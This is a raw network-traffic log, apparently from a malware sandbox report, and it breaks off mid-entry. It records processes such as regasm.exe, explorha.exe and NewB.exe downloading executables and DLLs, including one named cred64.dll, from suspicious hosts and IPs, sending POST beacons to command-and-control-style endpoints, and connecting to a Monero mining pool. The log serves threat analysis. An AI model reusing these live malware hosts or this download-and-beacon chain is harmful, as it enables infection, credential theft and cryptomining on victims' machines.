                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET https://realdeepai.org/6779d89b7a368f4f3f340b50a9d18d71.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    307
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.182.192:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://onlycitylink.com/baf14778c246e15550645e30ba78ce1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    848 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET https://onlycitylink.com/baf14778c246e15550645e30ba78ce1c.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    307
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.44.201:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sweetsquarediaslw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.9kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.60.76:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://firstfirecar.com/fe20ef6e24af55779a96bb21c323f6c4/baf14778c246e15550645e30ba78ce1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    139.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4.5MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2507
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3257

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET https://firstfirecar.com/fe20ef6e24af55779a96bb21c323f6c4/baf14778c246e15550645e30ba78ce1c.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.60.76:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://firstfirecar.com/fe20ef6e24af55779a96bb21c323f6c4/baf14778c246e15550645e30ba78ce1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    163.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4.5MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3687

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET https://firstfirecar.com/fe20ef6e24af55779a96bb21c323f6c4/baf14778c246e15550645e30ba78ce1c.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.176.131:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://jonathantwo.com/fe20ef6e24af55779a96bb21c323f6c4/6779d89b7a368f4f3f340b50a9d18d71.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    130.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4.5MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3244

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET https://jonathantwo.com/fe20ef6e24af55779a96bb21c323f6c4/6779d89b7a368f4f3f340b50a9d18d71.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.176.131:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://jonathantwo.com/fe20ef6e24af55779a96bb21c323f6c4/6779d89b7a368f4f3f340b50a9d18d71.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    126.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4.5MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3244

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET https://jonathantwo.com/fe20ef6e24af55779a96bb21c323f6c4/6779d89b7a368f4f3f340b50a9d18d71.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.183.72:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    holicisticscrarws.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 210.182.29.70:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://nic-it.nl/games/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    304 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    132 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://nic-it.nl/games/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dll
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    51.5kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.4MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1044
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1043

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.56/Pneh2sXQk0/Plugins/cred64.dll

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dll

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.186.30:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    boredimperissvieos.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.5kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    13
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 210.182.29.70:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://nic-it.nl/games/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    304 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    132 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://nic-it.nl/games/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://77.221.151.47/install.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    154.4kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4.6MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3283

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://77.221.151.47/install.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 185.172.128.33:8970
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    keks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3.3MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    58.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2511
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1196
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.188.178:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://iplogger.com/1lyxz
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    23.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    17
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    24

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET https://iplogger.com/1lyxz

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    403
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 185.172.128.19:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.19/NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    15.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    442.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    335
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    334

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://185.172.128.19/NewB.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 5.42.66.10:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://5.42.66.10/api/bing_release.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    enRAPStopGFgUmCytkUl22HJ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    481 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    433 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://5.42.66.10/api/bing_release.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.26.9.59:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    api.myip.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    enRAPStopGFgUmCytkUl22HJ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    406 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    322 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 185.172.128.19:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.19/ghsdh39s/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.9kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    15
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://185.172.128.19/ghsdh39s/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://185.172.128.19/ghsdh39s/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://185.172.128.19/ghsdh39s/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://185.172.128.19/ghsdh39s/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://185.172.128.19/ghsdh39s/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 34.117.186.192:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ipinfo.io
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    enRAPStopGFgUmCytkUl22HJ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    12
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 185.172.128.59:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.59/ISetup8.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    16.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    440.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    339
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    332

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://185.172.128.59/ISetup8.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 5.42.65.67:48396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    trf.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3.2MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    52.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2411
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    894
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 31.41.44.147:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://file-file-host6.com/downloads/toolspub1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.9kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    259.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    190
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    188

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://file-file-host6.com/downloads/toolspub1.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.84.71:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    parrotflight.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    13
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.92.190:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    junglethomas.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    164.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4.5MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3275
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3257
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    435 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    931 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    405 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    364 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 193.233.132.234:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.234/files/setup.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    158.5kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.7MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3099
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4858

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.234/files/setup.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:9090
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GameSyncLinks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    450 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    608 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 162.19.139.184:2222
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    xmr.2miners.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    190785.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3.5kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    15
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    399 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    399 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
